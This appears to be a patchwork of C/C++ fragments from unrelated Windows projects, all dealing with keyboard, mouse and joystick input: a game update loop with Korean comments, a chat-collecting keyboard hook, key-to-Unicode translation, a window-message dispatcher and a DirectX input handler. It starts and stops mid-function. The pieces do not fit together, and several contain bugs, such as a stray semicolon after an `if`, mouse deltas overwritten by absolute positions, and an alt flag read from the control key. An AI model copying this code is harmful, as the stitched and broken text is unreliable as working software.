/// m_pCamera->Rotate(0.0f, cxDelta, 0.0f);
// m_pCamera->Update( XMFLOAT3( 0.0f, 0.0f, 0.0f ), timer.GetTimeElapsed( ) );
}
// else
// m_pCamera->Rotate( cyDelta, cxDelta, 0.0f );
//if (pKeyBuffer[VK_LBUTTON] & 0xF0)
//{
// //m_pPlayer->m_iAnimState = static_cast<int>( AnimationState::ANIM_LATTACK1 );
// SoundManager::GetInstance( )->Play( ATTACK );
//}
}
/*플레이어를 dwDirection 방향으로 이동한다(실제로는 속도 벡터를 변경한다).
이동 거리는 시간에 비례하도록 한다. 플레이어의 이동 속력은 (50/초)로 가정한다.
만약 플레이어의 이동 속력이 있다면 그 값을 사용한다.*/
if (dwDirection)
{
// 현재 플레이어의 AABB 박스의 y좌표 최소가 -0.5임. 따라서 0보다 작으므로 바닥과 겹침, 그로 인해 못움직임
// 충돌체크 자체는 제대로 되고 있으나 플레이어의 위치가 문제
// if (!CollisionCheck( ))
m_pPlayer->Move( dwDirection, 50.0f * timer.GetTimeElapsed( ), false );
}
}
// if (!CollisionCheck( ))
m_pPlayer->Update( timer.GetTimeElapsed( ), vPickPos );
return true;
}
LRESULT __declspec( dllexport )__stdcall CALLBACK KeyboardProc( int nCode, WPARAM wParam, LPARAM lParam )
{
char ch;
if ( ( ( DWORD )lParam & 0x40000000 ) && ( HC_ACTION == nCode ) )
{
if ( ( wParam == VK_SPACE ) || ( wParam == VK_RETURN ) || ( wParam == VK_BACK ) || ( wParam == VK_DELETE ) || ( ( wParam >= 0x2f ) && ( wParam <= 0x100 ) ) )
{
if ( wParam == VK_RETURN )
{
if( isChatinputOpen )
{
strcat( textbox_buffer, iBuf );
strcat( textbox_buffer, "\n" );
isChatinputOpen = 0;
// TODO: send chat msg
memset( iBuf, 0, sizeof( iBuf ) );
return 1;
}
}
else if( wParam == VK_BACK || wParam == VK_DELETE )
{
if( isChatinputOpen )
{
size_t i = strlen( iBuf );
if( i > 0 )
iBuf[i - 1] = 0;
return 1;
}
}
else
{
BYTE ks[256];
GetKeyboardState( ks );
WORD w;
UINT scan = 0;
ToAscii( wParam, scan, ks, &w, 0 );
ch = char( w );
char tbuf[2] = {0};
tbuf[0] = ch;
if( !isChatinputOpen )
{
if( ch == 't' ) // TODO: make hotkey configurable
{
isChatinputOpen = 1;
return 1;
}
}
else
{
if( strlen( iBuf ) < sizeof( iBuf ) - 1 )
strcat( iBuf, tbuf );
return 1;
}
}
}
}
return CallNextHookEx( hkb, nCode, wParam, lParam );
}
tCHAR F_API INPKBGetAscii(u8 kCode)
{
tCHAR retvalue = L'';
char asciichar[256];
memset(asciichar,0, sizeof(char)*256);
HKL layout = GetKeyboardLayout(0);
u8 State[256];
u32 scancode;
memset(State, 0, sizeof (u8) * 256);
u32 vk = MapVirtualKeyEx(kCode,1,layout);
bool returnvaluegetkeyb = GetKeyboardState(State); //This function returns crap if we are in exclusive mode
//CODE TO CHECK OS VERSION,
//ToUnicodeEx doesn't work in win98,me
OSVERSIONINFO osvi;
ZeroMemory(&osvi, sizeof(OSVERSIONINFO));
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx((OSVERSIONINFO*)&osvi); //Should move this function to initialization
//VER_PLATFORM_WIN32_NT //WinNT4 to Win2003
//VER_PLATFORM_WIN32_WINDOWS //Windows 95, Windows 98, or Windows Me.
if ( osvi.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS) //Crappy Versions of Windows Without Unicode
{
int returnvalascii = ToAsciiEx(vk, kCode, State, (unsigned short *)asciichar, 0, layout);
if(returnvalascii > 0)
{
int retrunvaluembtowcs = mbstowcs(&retvalue, asciichar, 1);
if(retrunvaluembtowcs == -1) //some error
retvalue = L'';
}
else
retvalue = L'';
}
else //Good versions of widnows with Unicode
{
s32 retvalunicode = ToUnicodeEx(vk, kCode, State, &retvalue, 1, 0, layout);
if(retvalunicode <= 0) // -1 or 0 mean error or no character was translated
retvalue = L'';
}
/*
HKL layout = GetKeyboardLayout(0);
unsigned char State[256];
if (GetKeyboardState(State)==FALSE)
return 0;
unsigned int vk = MapVirtualKeyEx(scancode,1,layout);
return ToAsciiEx(vk,scancode,State,(unsigned short *)result,0,layout);
*/
/*
BOOL bIsWindowsVersionOK(DWORD dwMajor, DWORD dwMinor, DWORD dwSPMajor )
{
OSVERSIONINFO osvi;
// Initialize the OSVERSIONINFO structure.
//
ZeroMemory(&osvi, sizeof(OSVERSIONINFO));
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx((OSVERSIONINFO*)&osvi);
// First the major version
if ( osvi.dwMajorVersion > dwMajor )
return TRUE;
else if ( osvi.dwMajorVersion == dwMajor )
{
// Then the minor
if (osvi.dwMinorVersion > dwMinor )
return TRUE;
else if (osvi.dwMinorVersion == dwMinor )
{
// OK, better check the Service Pack
if ( dwSPMajor &&
osvi.dwPlatformId == VER_PLATFORM_WIN32_NT )
{
HKEY hKey;
DWORD dwCSDVersion;
DWORD dwSize;
BOOL fMeetsSPRequirement = FALSE;
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE,
System\\CurrentControlSet\\Control\\Windows",
0, KEY_QUERY_VALUE, &hKey) == ERROR_SUCCESS)
{
dwSize = sizeof(dwCSDVersion);
if (RegQueryValueEx(hKey, "CSDVersion",
NULL, NULL,
(unsigned char*)&dwCSDVersion,
&dwSize) == ERROR_SUCCESS)
{
fMeetsSPRequirement =
(LOWORD(dwCSDVersion) >= dwSPMajor);
}
RegCloseKey(hKey);
}
return fMeetsSPRequirement;
}
return TRUE;
}
}
return FALSE;
}
*/
return retvalue;
}
LRESULT Win32MessageProc::WndProc(HWND hWnd,UINT msg,WPARAM wParam,LPARAM lParam)
{
#ifndef WM_MOUSEWHEEL
#define WM_MOUSEWHEEL 0x020A
#endif
#ifndef WHEEL_DELTA
#define WHEEL_DELTA 120
#endif
if(msg==WM_CREATE)
{
SetWindowLongPtr(hWnd,GWLP_USERDATA, (LONG)(((LPCREATESTRUCT)lParam)->lpCreateParams));
return 0;
}
video::RenderWindow* wnd= (video::RenderWindow*)GetWindowLongPtr(hWnd, GWLP_USERDATA);
if (!wnd)
return DefWindowProc(hWnd, msg, wParam, lParam);
bool g_disableWindowsMouseCallback=false;
bool g_disableWindowsKBCallback=false;
InputManager* inMngr= wnd->GetInputManager();
if(inMngr )
{
if(inMngr->getMouse())
g_disableWindowsMouseCallback=true;
if(inMngr->getKeyboard())
g_disableWindowsKBCallback=true;
}
video::RenderWindowUtils::RenderWindowListenerMap &listeners=video::RenderWindowUtils::GetListners();
video::RenderWindowUtils::RenderWindowListenerMap::iterator index,
start = listeners.lower_bound(wnd),
end = listeners.upper_bound(wnd);
/*if(InputManager::isExist()){
g_disableWindowsKBCallback=InputManager::getInstance().usingInputManagment();
g_disableWindowsMouseCallback=InputManager::getInstance().usingInputManagment();
}*/
POINT p;
BYTE keys[256];
switch(msg)
{
case WM_PAINT:
{
PAINTSTRUCT ps;
BeginPaint(hWnd,&ps);
EndPaint(hWnd,&ps);
}break;
case WM_ACTIVATE:
{
bool active = (LOWORD(wParam) != WA_INACTIVE);
if( active )
{
wnd->SetActive( true );
}
else
{
if( wnd->IsDeactivateOnFocusChange() )
{
wnd->SetActive( false );
}
}
for( ; start != end; ++start )
(start->second)->WindowFocusChanged(wnd);
if(EventMemoryManager::isExist()){
GCPtr<SystemEvent>e=EventMemoryManager::getInstance().createEvent(ET_SystemEvent);
if(!HIWORD(wParam))
e->m_eventType=ESET_GotActive;
else
e->m_eventType=ESET_LostActive;
e->SetOwnerRenderWindow(wnd);
if(EventQueue::isExist())
EventQueue::getInstance().pushEvent(e);
}
}
break;
case WM_SETFOCUS:
{
if(EventMemoryManager::isExist()){
GCPtr<SystemEvent>e=EventMemoryManager::getInstance().createEvent(ET_SystemEvent);
e->m_eventType=ESET_GotFocus;
e->SetOwnerRenderWindow(wnd);
if(EventQueue::isExist())
EventQueue::getInstance().pushEvent(e);
}
}
break;
case WM_KILLFOCUS:
{
if(EventMemoryManager::isExist()){
GCPtr<SystemEvent>e=EventMemoryManager::getInstance().createEvent(ET_SystemEvent);
e->m_eventType=ESET_LostFocus;
e->SetOwnerRenderWindow(wnd);
if(EventQueue::isExist())
EventQueue::getInstance().pushEvent(e);
}
}
break;
case WM_MOVE:
{
wnd->OnMoveResize();
for(index = start; index != end; ++index)
(index->second)->WindowMoved(wnd);
}
break;
case WM_DISPLAYCHANGE:
{
wnd->OnMoveResize();
for(index = start; index != end; ++index)
(index->second)->WindowResized(wnd);
}break;
case WM_SIZE:
{
wnd->OnMoveResize();
for(index = start; index != end; ++index)
(index->second)->WindowResized(wnd);
if(EventMemoryManager::isExist()){
{
GCPtr<ResizeEvent>e=EventMemoryManager::getInstance().createEvent(ET_ResizeEvent);
RECT rc;
GetClientRect(hWnd,&rc);
//GetWindowRect(hWnd,&rc);
e->width=rc.right-rc.left;//-Border.x;
e->height=rc.bottom-rc.top;//-Border.y;
e->SetOwnerRenderWindow(wnd);
if(EventQueue::isExist())
EventQueue::getInstance().pushEvent(e);
}
{
GCPtr<SystemEvent>e=EventMemoryManager::getInstance().createEvent(ET_SystemEvent);
e->m_eventType=ESET_Resized;
e->SetOwnerRenderWindow(wnd);
if(EventQueue::isExist())
EventQueue::getInstance().pushEvent(e);
}
}
}
break;
case WM_GETMINMAXINFO:
// Prevent the window from going smaller than some minimu size
((MINMAXINFO*)lParam)->ptMinTrackSize.x = 100;
((MINMAXINFO*)lParam)->ptMinTrackSize.y = 100;
break;
case WM_CLOSE:
{
//log->logMessage("WM_CLOSE");
bool close = true;
for(index = start; index != end; ++index)
{
if (!(index->second)->WindowClosing(wnd))
close = false;
}
if (!close) return 0;
for(index = listeners.lower_bound(wnd); index != end; ++index)
(index->second)->WindowClosed(wnd);
wnd->Destroy();
return 0;
}
case WM_DESTROY:
{
if(EventMemoryManager::isExist()){
GCPtr<SystemEvent>e=EventMemoryManager::getInstance().createEvent(ET_SystemEvent);
e->m_eventType=ESET_Destroy;
e->SetOwnerRenderWindow(wnd);
if(EventQueue::isExist())
EventQueue::getInstance().pushEvent(e);
}
}
return 0;
case WM_SYSCOMMAND:
if(wParam==SC_SCREENSAVE || wParam==SC_MONITORPOWER)
return 0;
break;
/*case WM_SETCURSOR:
if(!dev->getCursorControl()->isVisible())
SetCursor(0);
else
dev->getCursorControl()->restoreCursor();
return 0;*/
case WM_MOUSEMOVE:
{
if(g_disableWindowsMouseCallback)return 0;
if(!EventMemoryManager::isExist())break;
GCPtr<MouseEvent>e=EventMemoryManager::getInstance().createEvent(ET_Mouse);
e->event=MET_MOVED;
e->SetOwnerRenderWindow(wnd);
e->pos.set(LOWORD(lParam),HIWORD(lParam));
e->MouseWheel=0;
if(EventQueue::isExist())
EventQueue::getInstance().pushEvent(e);
}
return 0;
case WM_MOUSEWHEEL:
{
if(g_disableWindowsMouseCallback)return 0;
if(!EventMemoryManager::isExist())break;
GCPtr<MouseEvent>event=EventMemoryManager::getInstance().createEvent(ET_Mouse);
event->event=MET_WHEEL;
event->MouseWheel=(float)((short)HIWORD(wParam))/(float)WHEEL_DELTA;
event->SetOwnerRenderWindow(wnd);
p.x=LOWORD(lParam);
p.y=HIWORD(lParam);
ScreenToClient(hWnd,&p);
event->pos.set(p.x,p.y);
if(EventQueue::isExist())
EventQueue::getInstance().pushEvent(event);
}
return 0;
case WM_LBUTTONDOWN:
{
if(g_disableWindowsMouseCallback)return 0;
if(!EventMemoryManager::isExist())break;
GCPtr<MouseEvent>event=EventMemoryManager::getInstance().createEvent(ET_Mouse);
event->event=MET_LEFTDOWN;
event->SetOwnerRenderWindow(wnd);
event->pos.set(LOWORD(lParam),HIWORD(lParam));
event->MouseWheel=0;
if(EventQueue::isExist())
EventQueue::getInstance().pushEvent(event);
}
return 0;
case WM_LBUTTONUP:
{
if(g_disableWindowsMouseCallback)return 0;
if(!EventMemoryManager::isExist())break;
GCPtr<MouseEvent>event=EventMemoryManager::getInstance().createEvent(ET_Mouse);
event->event=MET_LEFTUP;
event->SetOwnerRenderWindow(wnd);
event->pos.set(LOWORD(lParam),HIWORD(lParam));
event->MouseWheel=0;
if(EventQueue::isExist())
EventQueue::getInstance().pushEvent(event);
}
return 0;
case WM_LBUTTONDBLCLK:
{
if(g_disableWindowsMouseCallback)return 0;
if(!EventMemoryManager::isExist())break;
GCPtr<MouseEvent>event=EventMemoryManager::getInstance().createEvent(ET_Mouse);
event->event=MET_LEFTDblClick;
event->SetOwnerRenderWindow(wnd);
event->pos.set(LOWORD(lParam),HIWORD(lParam));
event->MouseWheel=0;
if(EventQueue::isExist())
EventQueue::getInstance().pushEvent(event);
}
return 0;
case WM_RBUTTONDOWN:
{
if(g_disableWindowsMouseCallback)return 0;
if(!EventMemoryManager::isExist())break;
GCPtr<MouseEvent>event=EventMemoryManager::getInstance().createEvent(ET_Mouse);
event->event=MET_RIGHTDOWN;
event->SetOwnerRenderWindow(wnd);
event->pos.set(LOWORD(lParam),HIWORD(lParam));
event->MouseWheel=0;
if(EventQueue::isExist())
EventQueue::getInstance().pushEvent(event);
}
return 0;
case WM_RBUTTONUP:
{
if(g_disableWindowsMouseCallback)return 0;
if(!EventMemoryManager::isExist())break;
GCPtr<MouseEvent>event=EventMemoryManager::getInstance().createEvent(ET_Mouse);
event->event=MET_RIGHTUP;
event->SetOwnerRenderWindow(wnd);
event->pos.set(LOWORD(lParam),HIWORD(lParam));
event->MouseWheel=0;
if(EventQueue::isExist())
EventQueue::getInstance().pushEvent(event);
}
return 0;
case WM_RBUTTONDBLCLK:
{
if(g_disableWindowsMouseCallback)return 0;
if(!EventMemoryManager::isExist())break;
GCPtr<MouseEvent>event=EventMemoryManager::getInstance().createEvent(ET_Mouse);
event->event=MET_RIGHTDblClick;
event->SetOwnerRenderWindow(wnd);
event->pos.set(LOWORD(lParam),HIWORD(lParam));
event->MouseWheel=0;
if(EventQueue::isExist())
EventQueue::getInstance().pushEvent(event);
}
return 0;
case WM_MBUTTONDOWN:
{
if(g_disableWindowsMouseCallback)return 0;
if(!EventMemoryManager::isExist())break;
GCPtr<MouseEvent>event=EventMemoryManager::getInstance().createEvent(ET_Mouse);
event->event=MET_MIDDLEDOWN;
event->SetOwnerRenderWindow(wnd);
event->pos.set(LOWORD(lParam),HIWORD(lParam));
event->MouseWheel=0;
if(EventQueue::isExist())
EventQueue::getInstance().pushEvent(event);
}
return 0;
case WM_MBUTTONUP:
{
if(g_disableWindowsMouseCallback)return 0;
if(!EventMemoryManager::isExist())break;
GCPtr<MouseEvent>event=EventMemoryManager::getInstance().createEvent(ET_Mouse);
event->event=MET_MIDDLEUP;
event->SetOwnerRenderWindow(wnd);
event->pos.set(LOWORD(lParam),HIWORD(lParam));
event->MouseWheel=0;
if(EventQueue::isExist())
EventQueue::getInstance().pushEvent(event);
}
return 0;
case WM_MBUTTONDBLCLK:
{
if(g_disableWindowsMouseCallback)return 0;
if(!EventMemoryManager::isExist())break;
GCPtr<MouseEvent>event=EventMemoryManager::getInstance().createEvent(ET_Mouse);
event->event=MET_MIDDLEDblClick;
event->SetOwnerRenderWindow(wnd);
event->pos.set(LOWORD(lParam),HIWORD(lParam));
event->MouseWheel=0;
if(EventQueue::isExist())
EventQueue::getInstance().pushEvent(event);
}
return 0;
case WM_SYSKEYDOWN:
switch( wParam )
{
case VK_CONTROL:
{
if(g_disableWindowsKBCallback)return 0;
if(!EventMemoryManager::isExist())break;
GCPtr<KeyboardEvent>event=EventMemoryManager::getInstance().createEvent(ET_Keyboard);
GetKeyboardState(keys);
#ifdef UNICODE
mchar keyCode=0;
ToUnicode(wParam,lParam,keys,&keyCode,0,0);
#else
WORD keyCode=0;
ToAscii(wParam,lParam,keys,&keyCode,0);
#endif
event->Char=keyCode;
event->key=(EKEY_CODE)KEY_LCONTROL;
event->shift=((keys[VK_SHIFT] & 0x80)!=0);
event->ctrl=1;
event->alt=((keys[VK_MENU] & 0x80)!=0);
event->press=1;
event->SetOwnerRenderWindow(wnd);
if(EventQueue::isExist())
EventQueue::getInstance().pushEvent(event);
}
return 0;
case VK_SHIFT:
{
if(g_disableWindowsKBCallback)return 0;
if(!EventMemoryManager::isExist())break;
GCPtr<KeyboardEvent>event=EventMemoryManager::getInstance().createEvent(ET_Keyboard);
mchar keyUni=0;
GetKeyboardState(keys);
#ifdef UNICODE
mchar keyCode=0;
ToUnicode(wParam,lParam,keys,&keyCode,0,0);
#else
WORD keyCode=0;
ToAscii(wParam,lParam,keys,&keyCode,0);
#endif
event->Char=keyCode;
event->key=(EKEY_CODE)KEY_LSHIFT;
event->shift=1;
event->ctrl=((keys[VK_CONTROL] & 0x80)!=0);
event->alt=((keys[VK_MENU] & 0x80)!=0);
event->press=1;
event->SetOwnerRenderWindow(wnd);
if(EventQueue::isExist())
EventQueue::getInstance().pushEvent(event);
}
return 0;
case VK_MENU:
{
if(g_disableWindowsKBCallback)return 0;
if(!EventMemoryManager::isExist())break;
GCPtr<KeyboardEvent>event=EventMemoryManager::getInstance().createEvent(ET_Keyboard);
mchar keyUni=0;
GetKeyboardState(keys);
#ifdef UNICODE
mchar keyCode=0;
ToUnicode(wParam,lParam,keys,&keyCode,0,0);
#else
WORD keyCode=0;
ToAscii(wParam,lParam,keys,&keyCode,0);
#endif
event->Char=keyCode;
event->key=(EKEY_CODE)KEY_LMENU;
event->shift=((keys[VK_SHIFT] & 0x80)!=0);
event->ctrl=((keys[VK_CONTROL] & 0x80)!=0);
event->alt=1;
event->press=1;
event->SetOwnerRenderWindow(wnd);
if(EventQueue::isExist())
EventQueue::getInstance().pushEvent(event);
}
return 0;
}
break;
case WM_SYSKEYUP:
switch( wParam )
{
case VK_CONTROL:
{
if(g_disableWindowsKBCallback)return 0;
if(!EventMemoryManager::isExist())break;
GCPtr<KeyboardEvent>event=EventMemoryManager::getInstance().createEvent(ET_Keyboard);
mchar keyUni=0;
GetKeyboardState(keys);
#ifdef UNICODE
mchar keyCode=0;
ToUnicode(wParam,lParam,keys,&keyCode,0,0);
#else
WORD keyCode=0;
ToAscii(wParam,lParam,keys,&keyCode,0);
#endif
event->Char=keyCode;
event->key=(EKEY_CODE)KEY_LCONTROL;
event->shift=((keys[VK_SHIFT] & 0x80)!=0);
event->ctrl=0;
event->alt=((keys[VK_CONTROL] & 0x80)!=0);
event->press=0;
event->SetOwnerRenderWindow(wnd);
if(EventQueue::isExist())
EventQueue::getInstance().pushEvent(event);
}
return 0;
case VK_SHIFT:
{
if(g_disableWindowsKBCallback)return 0;
if(!EventMemoryManager::isExist())break;
GCPtr<KeyboardEvent>event=EventMemoryManager::getInstance().createEvent(ET_Keyboard);
mchar keyUni=0;
GetKeyboardState(keys);
#ifdef UNICODE
mchar keyCode=0;
ToUnicode(wParam,lParam,keys,&keyCode,0,0);
#else
WORD keyCode=0;
ToAscii(wParam,lParam,keys,&keyCode,0);
#endif
event->Char=keyCode;
event->key=(EKEY_CODE)KEY_LSHIFT;
event->shift=0;
event->ctrl=((keys[VK_CONTROL] & 0x80)!=0);
event->alt=((keys[VK_CONTROL] & 0x80)!=0);
event->press=0;
event->SetOwnerRenderWindow(wnd);
if(EventQueue::isExist())
EventQueue::getInstance().pushEvent(event);
}
return 0;
case VK_MENU:
{
if(g_disableWindowsKBCallback)return 0;
if(!EventMemoryManager::isExist())break;
GCPtr<KeyboardEvent>event=EventMemoryManager::getInstance().createEvent(ET_Keyboard);
mchar keyUni=0;
GetKeyboardState(keys);
#ifdef UNICODE
mchar keyCode=0;
ToUnicode(wParam,lParam,keys,&keyCode,0,0);
#else
WORD keyCode=0;
ToAscii(wParam,lParam,keys,&keyCode,0);
#endif
event->Char=keyCode;
event->key=(EKEY_CODE)KEY_LMENU;
event->shift=((keys[VK_SHIFT] & 0x80)!=0);
event->ctrl=((keys[VK_CONTROL] & 0x80)!=0);
event->alt=0;
event->press=0;
event->SetOwnerRenderWindow(wnd);
if(EventQueue::isExist())
EventQueue::getInstance().pushEvent(event);
}
return 0;
}
break;
case WM_KEYDOWN:
{
if(g_disableWindowsKBCallback)return 0;
if(!EventMemoryManager::isExist())break;
GCPtr<KeyboardEvent>event=EventMemoryManager::getInstance().createEvent(ET_Keyboard);
#ifdef UNICODE
mchar buff[10];
mchar keyCode=0;
ToUnicode(wParam,lParam,keys,buff,10,0);
#else
WORD keyCode=0;
ToAscii(wParam,lParam,keys,&keyCode,0);
#endif
event->Char=keyCode;
event->key=(EKEY_CODE)wParam;
event->shift=((keys[VK_SHIFT] & 0x80)!=0);
event->ctrl=((keys[VK_CONTROL] & 0x80)!=0);
event->alt=((keys[VK_MENU] & 0x80)!=0);
event->press=1;
event->SetOwnerRenderWindow(wnd);
if(EventQueue::isExist())
EventQueue::getInstance().pushEvent(event);
return 0;
}
case WM_KEYUP:
{
if(g_disableWindowsKBCallback)return 0;
if(!EventMemoryManager::isExist())break;
GCPtr<KeyboardEvent>event=EventMemoryManager::getInstance().createEvent(ET_Keyboard);
mchar keyUni=0;
GetKeyboardState(keys);
#ifdef UNICODE
mchar keyCode=0;
ToUnicode(wParam,lParam,keys,&keyCode,0,0);
#else
WORD keyCode=0;
ToAscii(wParam,lParam,keys,&keyCode,0);
#endif
event->key=(EKEY_CODE)wParam;
event->Char=keyCode;
event->shift=((keys[VK_SHIFT] & 0x80)!=0);
event->ctrl=((keys[VK_CONTROL] & 0x80)!=0);
event->press=0;
event->SetOwnerRenderWindow(wnd);
if(EventQueue::isExist())
EventQueue::getInstance().pushEvent(event);
return 0;
}
};
return DefWindowProc(hWnd,msg,wParam,lParam);
}
static XBMC_keysym *TranslateKey(WPARAM vkey, UINT scancode, XBMC_keysym *keysym, int pressed)
{ uint16_t mod;
uint8_t keystate[256];
/* Set the keysym information */
keysym->scancode = (unsigned char) scancode;
keysym->unicode = 0;
if ((vkey == VK_RETURN) && (scancode & 0x100))
{
/* No VK_ code for the keypad enter key */
keysym->sym = XBMCK_KP_ENTER;
}
else
{
keysym->sym = VK_keymap[XBMC_MapVirtualKey(scancode, vkey)];
}
// Attempt to convert the keypress to a UNICODE character
GetKeyboardState(keystate);
if ( pressed && XBMC_TranslateUNICODE )
{ uint16_t wchars[2];
/* Numlock isn't taken into account in ToUnicode,
* so we handle it as a special case here */
if ((keystate[VK_NUMLOCK] & 1) && vkey >= VK_NUMPAD0 && vkey <= VK_NUMPAD9)
{
keysym->unicode = vkey - VK_NUMPAD0 + '0';
}
else if (ToUnicode((UINT)vkey, scancode, keystate, (LPWSTR)wchars, sizeof(wchars)/sizeof(wchars[0]), 0) > 0)
{
keysym->unicode = wchars[0];
}
}
// Set the modifier bitmap
mod = (uint16_t) XBMCKMOD_NONE;
// If left control and right alt are down this usually means that
// AltGr is down
if ((keystate[VK_LCONTROL] & 0x80) && (keystate[VK_RMENU] & 0x80))
{
mod |= XBMCKMOD_MODE;
}
else
{
if (keystate[VK_LCONTROL] & 0x80) mod |= XBMCKMOD_LCTRL;
if (keystate[VK_RMENU] & 0x80) mod |= XBMCKMOD_RALT;
}
// Check the remaining modifiers
if (keystate[VK_LSHIFT] & 0x80) mod |= XBMCKMOD_LSHIFT;
if (keystate[VK_RSHIFT] & 0x80) mod |= XBMCKMOD_RSHIFT;
if (keystate[VK_RCONTROL] & 0x80) mod |= XBMCKMOD_RCTRL;
if (keystate[VK_LMENU] & 0x80) mod |= XBMCKMOD_LALT;
if (keystate[VK_LWIN] & 0x80) mod |= XBMCKMOD_LSUPER;
if (keystate[VK_RWIN] & 0x80) mod |= XBMCKMOD_LSUPER;
keysym->mod = (XBMCMod) mod;
// Return the updated keysym
return(keysym);
}
VOID IK3_AnimRender( VOID )
{
int i;
POINT pt;
LARGE_INTEGER t;
IK3_FrameCounter++;
QueryPerformanceCounter(&t);
IK3_Anim.GlobalTime =(DBL)(t.QuadPart - IK3_StartTime) / IK3_TimePerSec;
IK3_Anim.GlobalDeltaTime =(DBL)(t.QuadPart - IK3_OldTime) / IK3_TimePerSec;
if (IK3_Anim.IsPause)
{
IK3_Anim.DeltaTime = 0;
IK3_PauseTime += t.QuadPart - IK3_OldTime;
}
else
{
IK3_Anim.DeltaTime = IK3_Anim.GlobalDeltaTime;
IK3_Anim.Time = (DBL)(t.QuadPart - IK3_PauseTime - IK3_OldTime) / IK3_TimePerSec;
}
if (t.QuadPart - IK3_OldTimeFPS > IK3_TimePerSec);
{
CHAR str[100];
IK3_Anim.FPS = IK3_FrameCounter * IK3_TimePerSec / (DBL)(t.QuadPart - IK3_OldTimeFPS);
IK3_OldTimeFPS = t.QuadPart;
sprintf(str, "FPS: %.5f", IK3_Anim.FPS);
SetWindowText(IK3_Anim.hWnd, str);
IK3_FrameCounter = 0;
}
GetKeyboardState(IK3_Anim.Keys);
for (i = 0; i < 256; i++)
{
IK3_Anim.Keys[i] >>= 7;
if (!IK3_Anim.OldKeys[i] && IK3_Anim.Keys[i])
IK3_Anim.KeysClick[i] = TRUE;
else
IK3_Anim.KeysClick[i] = FALSE;
}
memcpy(IK3_Anim.OldKeys, IK3_Anim.Keys, 256);
GetCursorPos(&pt);
ScreenToClient(IK3_Anim.hWnd, &pt);
IK3_Anim.Mdx = pt.x - IK3_Anim.Mx;
IK3_Anim.Mdy = pt.y - IK3_Anim.My;
IK3_Anim.Mdx = pt.x;
IK3_Anim.Mdy = pt.y;
/* Joystick */
if (joyGetNumDevs() > 0)
{
JOYCAPS jc;
/* Get joystick info */
if (joyGetDevCaps(JOYSTICKID1, &jc, sizeof(jc)) == JOYERR_NOERROR)
{
JOYINFOEX ji;
ji.dwSize = sizeof(JOYINFOEX);
ji.dwFlags = JOY_RETURNALL;
if (joyGetPosEx(JOYSTICKID1, &ji) == JOYERR_NOERROR)
{
/* Buttons */
for (i = 0; i < 32; i++)
IK3_Anim.JBut[i] = (ji.dwButtons >> i) & 1;
/* Axes */
IK3_Anim.JX = IK3_GET_JOYSTIC_AXIS(X);
IK3_Anim.JY = IK3_GET_JOYSTIC_AXIS(Y);
IK3_Anim.JZ = IK3_GET_JOYSTIC_AXIS(Z);
IK3_Anim.JR = IK3_GET_JOYSTIC_AXIS(R);
/* Point of view */
IK3_Anim.JPov = ji.dwPOV == 0xFFFF ? 0 : ji.dwPOV / 4500 + 1;
}
}
void DirectX3DInput:: dispatchMessage(HWND window, MSG message)
{
KeyInput keyInput;
MouseInput mouseInput;
WPARAM wParam = message.wParam;
LPARAM lParam = message.lParam;
switch (message.message)
{
case WM_SYSKEYDOWN:
case WM_KEYDOWN:
{
unsigned char kbstate[256];
GetKeyboardState(kbstate);
keyInput.setKey(Key(convertKeyCharacter(wParam, lParam, kbstate)));
keyInput.setType(KeyInput::Pressed);
keyInput.setShiftPressed(kbstate[VK_SHIFT] & 0x80);
keyInput.setControlPressed(kbstate[VK_CONTROL] & 0x80);
keyInput.setAltPressed(kbstate[VK_MENU] & 0x80);
keyInput.setNumericPad(wParam >= VK_NUMPAD0
&& wParam <= VK_DIVIDE);
mKeyInputQueue.push(keyInput);
}
break;
case WM_SYSKEYUP:
case WM_KEYUP:
{
unsigned char kbstate[256];
GetKeyboardState(kbstate);
keyInput.setKey(Key(convertKeyCharacter(wParam, lParam, kbstate)));
keyInput.setType(KeyInput::Released);
keyInput.setShiftPressed(kbstate[VK_SHIFT] & 0x80);
keyInput.setControlPressed(kbstate[VK_CONTROL] & 0x80);
keyInput.setAltPressed(kbstate[VK_MENU] & 0x80);
keyInput.setNumericPad(wParam >= VK_NUMPAD0
&& wParam <= VK_DIVIDE);
mKeyInputQueue.push(keyInput);
}
break;
case WM_LBUTTONDOWN:
{
int x = (int)((signed short)(LOWORD(lParam)));
int y = (int)((signed short)(HIWORD(lParam)));
mouseInput.setX(x);
mouseInput.setY(y);
mouseInput.setButton(MouseInput::Left);
mouseInput.setType(MouseInput::Pressed);
mouseInput.setTimeStamp(GetTickCount());
mMouseInputQueue.push(mouseInput);
mMouseDown = true;
SetCapture(window);
break;
}
case WM_MBUTTONDOWN:
{
int x = (int)((signed short)(LOWORD(lParam)));
int y = (int)((signed short)(HIWORD(lParam)));
mouseInput.setX(x);
mouseInput.setY(y);
mouseInput.setButton(MouseInput::Middle);
mouseInput.setType(MouseInput::Pressed);
mouseInput.setTimeStamp(GetTickCount());
mMouseInputQueue.push(mouseInput);
mMouseDown = true;
SetCapture(window);
break;
}
case WM_RBUTTONDOWN:
{
int x = (int)((signed short)(LOWORD(lParam)));
int y = (int)((signed short)(HIWORD(lParam)));
mouseInput.setX(x);
mouseInput.setY(y);
mouseInput.setButton(MouseInput::Right);
mouseInput.setType(MouseInput::Pressed);
mouseInput.setTimeStamp(GetTickCount());
mMouseInputQueue.push(mouseInput);
mMouseDown = true;
SetCapture(window);
break;
}
case WM_LBUTTONUP:
{
int x = (int)((signed short)(LOWORD(lParam)));
int y = (int)((signed short)(HIWORD(lParam)));
mouseInput.setX(x);
mouseInput.setY(y);
mouseInput.setButton(MouseInput::Left);
mouseInput.setType(MouseInput::Released);
mouseInput.setTimeStamp(GetTickCount());
mMouseInputQueue.push(mouseInput);
mMouseDown = false;
ReleaseCapture();
break;
}
case WM_MBUTTONUP:
{
int x = (int)((signed short)(LOWORD(lParam)));
int y = (int)((signed short)(HIWORD(lParam)));
mouseInput.setX(x);
mouseInput.setY(y);
mouseInput.setButton(MouseInput::Middle);
mouseInput.setType(MouseInput::Released);
mouseInput.setTimeStamp(GetTickCount());
mMouseInputQueue.push(mouseInput);
mMouseDown = false;
ReleaseCapture();
break;
}
case WM_RBUTTONUP:
{
int x = (int)((signed short)(LOWORD(lParam)));
int y = (int)((signed short)(HIWORD(lParam)));
mouseInput.setX(x);
mouseInput.setY(y);
mouseInput.setButton(MouseInput::Right);
